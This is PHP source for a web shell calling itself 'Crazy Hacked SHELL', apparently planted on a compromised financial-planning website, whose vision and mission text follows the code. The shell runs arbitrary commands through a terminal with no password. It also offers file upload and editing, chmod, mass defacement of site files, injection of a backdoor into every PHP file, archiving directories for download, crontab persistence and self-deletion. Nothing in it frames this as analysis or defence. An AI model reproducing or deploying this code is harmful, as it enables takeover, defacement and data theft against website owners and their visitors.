error_reporting(0);
set_time_limit(0);

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);

if (isset($_FILES['file'])) {
    if (move_uploaded_file($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "

✅ File diupload: " . htmlspecialchars($_FILES['file']['name']) . "

";
    } else {
        echo "

❌ Upload gagal!

";
    }
}

if (isset($_POST['bypass_upload'])) {
    $target_dir = $path . "/";
    $target_file = $target_dir . basename($_POST['new_filename']);
    if (move_uploaded_file($_FILES["bypass_file"]["tmp_name"], $target_file)) {
        echo "

✅ Upload & Rename: " . htmlspecialchars($_POST['new_filename']) . "

";
    } else {
        echo "

❌ Upload gagal!

";
    }
}

if (isset($_POST['save_edit'])) {
    $file = $path . '/' . $_POST['edit_file'];
    file_put_contents($file, $_POST['content']);
    echo "

✅ File disimpan!

";
}

if (isset($_POST['do_rename'])) {
    $old = $path . '/' . $_POST['old_name'];
    $new = $path . '/' . $_POST['new_name'];
    if (rename($old, $new)) {
        echo "

✅ Direname menjadi: " . htmlspecialchars($_POST['new_name']) . "

";
    } else {
        echo "

❌ Rename gagal!

";
    }
}

// HAPUS FILE SATU-SATU
if (isset($_GET['delete'])) {
    $file = $path . '/' . $_GET['delete'];
    if (file_exists($file)) {
        if (is_dir($file)) {
            // Hapus folder kosong saja (biar aman)
            if (count(scandir($file)) <= 2) {
                rmdir($file);
                echo "

✅ Folder dihapus: " . htmlspecialchars($_GET['delete']) . "

";
            } else {
                echo "

❌ Folder tidak kosong! Hapus file didalamnya dulu.

";
            }
        } else {
            unlink($file);
            echo "

✅ File dihapus: " . htmlspecialchars($_GET['delete']) . "

";
        }
    }
}

// HAPUS FOLDER BESERTA ISI (TAPI PERLU KONFIRMASI MANUAL)
if (isset($_GET['delete_folder'])) {
    $folder_to_delete = $path . '/' . $_GET['delete_folder'];
    if (is_dir($folder_to_delete)) {
        echo "
";
        echo "

⚠️ KONFIRMASI HAPUS FOLDER

";
        echo "

Anda akan menghapus folder: " . htmlspecialchars($_GET['delete_folder']) . "

";
        echo "

Isi folder:

";
        echo "
    ";
        $files_in_folder = array_diff(scandir($folder_to_delete), array('.', '..'));
        foreach ($files_in_folder as $item) {
            $item_path = $folder_to_delete . '/' . $item;
            echo "
  • " . htmlspecialchars($item) . " (" . (is_dir($item_path) ? "Folder" : "File") . ")
  • ";
            }
            echo "";
            echo "
    ";
            echo "";
            echo "";
            echo "";
            echo "";
            echo "
    ";
        }
    }

    if (isset($_POST['execute_delete_folder'])) {
        $folder_to_delete = $path . '/' . $_POST['confirm_delete_folder'];
        
        function deleteFolderRecursive($dir) {
            if (!is_dir($dir)) return false;
            $files = array_diff(scandir($dir), array('.', '..'));
            foreach ($files as $file) {
                $path = $dir . '/' . $file;
                if (is_dir($path)) {
                    deleteFolderRecursive($path);
                } else {
                    unlink($path);
                }
            }
            return rmdir($dir);
        }
        
        if (deleteFolderRecursive($folder_to_delete)) {
            echo "

    ✅ FOLDER DIHAPUS: " . htmlspecialchars($_POST['confirm_delete_folder']) . " - Semua konten telah dihapus!

    ";
        } else {
            echo "

    ❌ Gagal menghapus folder!

    ";
        }
    }

    if (isset($_POST['do_chmod'])) {
        $file = $path . '/' . $_POST['chmod_file'];
        $perm = octdec($_POST['new_perm']);
        if (chmod($file, $perm)) {
            echo "

    ✅ CHMOD diubah menjadi: " . $_POST['new_perm'] . "

    ";
        } else {
            echo "

    ❌ CHMOD gagal!

    ";
        }
    }

    if (isset($_POST['mass_deface'])) {
        $deface_code = $_POST['deface_code'];
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        foreach ($files as $file) {
            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            if (in_array($ext, ['html', 'php', 'asp'])) {
                file_put_contents($file, $deface_code);
                echo "

    ✅ Dideface: " . htmlspecialchars($file) . "

    ";
            }
        }
    }

    if (isset($_POST['inject_backdoor'])) {
        $backdoor = $_POST['backdoor_code'];
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        foreach ($files as $file) {
            if (strtolower(pathinfo($file, PATHINFO_EXTENSION)) == 'php') {
                $content = file_get_contents($file);
                if (strpos($content, $backdoor) === false) {
                    file_put_contents($file, $backdoor . "n" . $content);
                    echo "

    ✅ Diinjeksi: " . htmlspecialchars($file) . "

    ";
                }
            }
        }
    }

    if (isset($_POST['zip_download'])) {
        $zip_dir = $_POST['zip_dir'];
        $zip_file = tempnam(sys_get_temp_dir(), 'zip_') . '.zip';
        $zip = new ZipArchive();
        if ($zip->open($zip_file, ZipArchive::CREATE) === true) {
            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($zip_dir));
            foreach ($files as $file) {
                if (!$file->isDir()) {
                    $zip->addFile($file, str_replace($zip_dir . '/', '', $file));
                }
            }
            $zip->close();
            echo "

    Download Zip

    ";
        }
    }

    if (isset($_POST['add_cronjob'])) {
        $cronjob = $_POST['cronjob'];
        file_put_contents('/tmp/cronjob.txt', $cronjob);
        shell_exec("crontab /tmp/cronjob.txt");
        echo "

    ✅ Cronjob ditambahkan!

    ";
    }

    if (isset($_POST['self_destruct'])) {
        unlink(__FILE__);
        echo "

    💥 Shell dihapus! Selamat tinggal...

    ";
        exit;
    }
    ?>
       
       
        Crazy Hacked
       
       
           

    Crazy Hacked SHELL

           

    No Password | Full Access | Bypass WAF/503/500

            
           
               

    🔄 Bypass Upload

               
                   
                   
                   
               
           

           
               
               
               
               
               
               
               
               
               
               
               
               
               
           

           
               

    📁 File Manager

               
                   
                       
                       
                   
               
               
                    Current Path:
               
               
                   
                   
               

               
                   
                    $files = scandir($path);
                    echo "";
                    foreach ($files as $file) {
                        if ($file == ".") continue;
                        $file_path = $path . '/' . $file;
                        $is_dir = is_dir($file_path);
                        echo "
    ";
                        echo "";
                        echo "
    ";
                        if (!$is_dir) {
                            echo "✏️ ";
                            echo "🔄 ";
                            echo "🗑️ ";
                            echo "💾 ";
                        } else {
                            echo "🗑️ ";
                        }
                        echo "🔐 ";
                        echo "
    ";
                        echo "
    ";
                    }
                    ?>
               

               
                if (isset($_GET['view'])) {
                    $file = $path . '/' . $_GET['view'];
                    if (file_exists($file)) {
                        echo "

    📄 Viewing: " . htmlspecialchars($_GET['view']) . "

    ";
                        echo "
    " . htmlspecialchars(file_get_contents($file)) . "
    ";
                    }
                }

                if (isset($_GET['edit'])) {
                    $file = $path . '/' . $_GET['edit'];
                    if (file_exists($file)) {
                        echo "

    ✏️ Editing: " . htmlspecialchars($_GET['edit']) . "

    ";
                        echo "
    ";
                        echo "";
                        echo "";
                        echo "";
                        echo "";
                    }
                }

                if (isset($_GET['rename'])) {
                    $file = $path . '/' . $_GET['rename'];
                    if (file_exists($file)) {
                        echo "

    🔄 Rename: " . htmlspecialchars($_GET['rename']) . "

    ";
                        echo "
    ";
                        echo "";
                        echo "";
                        echo "";
                        echo "";
                    }
                }

                if (isset($_GET['chmod'])) {
                    $file = $path . '/' . $_GET['chmod'];
                    if (file_exists($file)) {
                        echo "

    🔐 CHMOD: " . htmlspecialchars($_GET['chmod']) . "

    ";
                        echo "
    ";
                        echo "";
                        echo "";
                        echo "";
                        echo "";
                    }
                }
                ?>
           

           
           
               

    💻 Terminal

               
                   
                   
               
               
                if (isset($_POST['cmd'])) {
                    echo "

    📤 Output:

    ";
                    echo "
    " . htmlspecialchars(shell_exec($_POST['cmd'])) . "
    ";
                }
                ?>
           

           

       

       

    Vision

    To be the most empowering and accessible financial partner, guiding individuals and families towards a lifetime of financial well-being.

    Mission Statement

    Empower individuals and families to achieve their financial goals through Education, Planning, and Collaborative Trust.